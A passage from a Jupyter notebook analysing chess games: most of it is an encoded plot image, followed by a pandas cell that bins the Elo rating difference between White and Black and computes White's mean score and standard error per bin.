PPhhC+dtvh1Deo0cDxx9fw9Chtay4Yp4LFBEREenAFM4FgLo6\nuPvuEkaPLuP990Mo7927gRNOqOGww2qpqMhzgSIiIiKdgMJ5J1dTA3feWco115Tx8cdFAKyzTgMn\nnljDQQfV0qVLngsUERER6UQUzjup6mqYOrWUMWPK+OyzEMp/+csGTjppCQccUEdpaZ4LFBEREemE\nFM47mcWL4dZbSxk7toz580Mo33DDekaOrGHgwDqKi/NcoIiIiEgnpnDeSfz4I0yaVMb48aUsXBhC\n+aabhlD+hz/UUVSU5wJFREREROG8o/vuO5gwoYyJE8v4/vsYAFtuWc8ppyzh97+vJxbLc4EiIiIi\n8hOF8w7q669jjB9fyqRJZSxaFBL4NtvUccopNey4o0K5iIiISCFSOO9gvvoqxtixZdx6aymVlSGB\n77RTCOXbbFOf5+pEREREpDEK5+3UoEEVzJ4drt7cYYd6Ro2qZsyYMqZOLWXJkhDK99ijjpEjl7Dl\nlg35LFVEREREmknhvB0aNKiCWbOWnrpZs0rYYosVgBDK99mnlpEja9h0U4VyERERkfZE4bwdSvSY\n/1yM8vI4//53JRtuqFAuIiIi0h5pAr0OZNVV4wrmIiIiIu2Ywnk7tMMOy17Y2bt3A5MnV+WhGhER\nERHJFYXzduiuu6ro3XtpD3nv3g3MmbOYfv3Uay4iIiLSnimct1OTJ4eArh5zERERkY5DF4S2U/36\nhd5yEREREek41HMuIiIiIlIgFM5FRERERAqEwrmIiIiISIFQOBcRERERKRAK5yIiIiIiBULhXERE\nRESkQCici4iIiIgUCIVzEREREZECoXAuIiIiIlIgFM5FRERERAqEwrmIiIiISIFQOBcRERERKRAK\n5yIiIiIiBULhXERERESkQCici4iIiIgUCIVzEREREZECoXAuIiIiIlIgFM5FRERERAqEwrmIiIiI\nSIFQOBcRERERKRAK5yIiIiIiBULhXERERESkQCici4iIiIgUCIVzEREREZECoXAuIiIiIlIgFM5F\nRERERAqEwrmIiIiISIFQOBcRERERKRAK5yIiIiIiBULhXERERESkQCici4iIiIgUCIVzEREREZEC\noXAuIiIiIlIgFM5FRERERAqEwrmIiIiISIFQOBcRERERKRAl+S4gmZl1B84B9gPWAL4GHgHOcvcv\n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\nzQzoJHBX4AAAAABJRU5ErkJggg==\n", "text/plain": [ "<matplotlib.figure.Figure at 0xb17491ac>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "#------------ graph difference in player rating (White - Black) against mean score\n", "# ----------- (White Win = 1, Black Wins = 0, draw = 0.5)\n", "\n", "#categorise games by the difference in rating of the two players (White-Black)\n", "games['diff']=games['wElo']-games['bElo']\n", "games['rdiff_cat']=pd.cut(games['diff'],bins) \n", "\n", "#means\n", "yvals=games.groupby(pd.cut(games['diff'],bins)).mean()['WhiteScore'] \n", "#standard errors\n", "y_sem=games.groupby(pd.cut(games['diff'],bins)).sem()['WhiteScore']\n", "\n", "fig, axes = plt.subplots(nrows=1, ncols=1, figsize=fsize)\n", 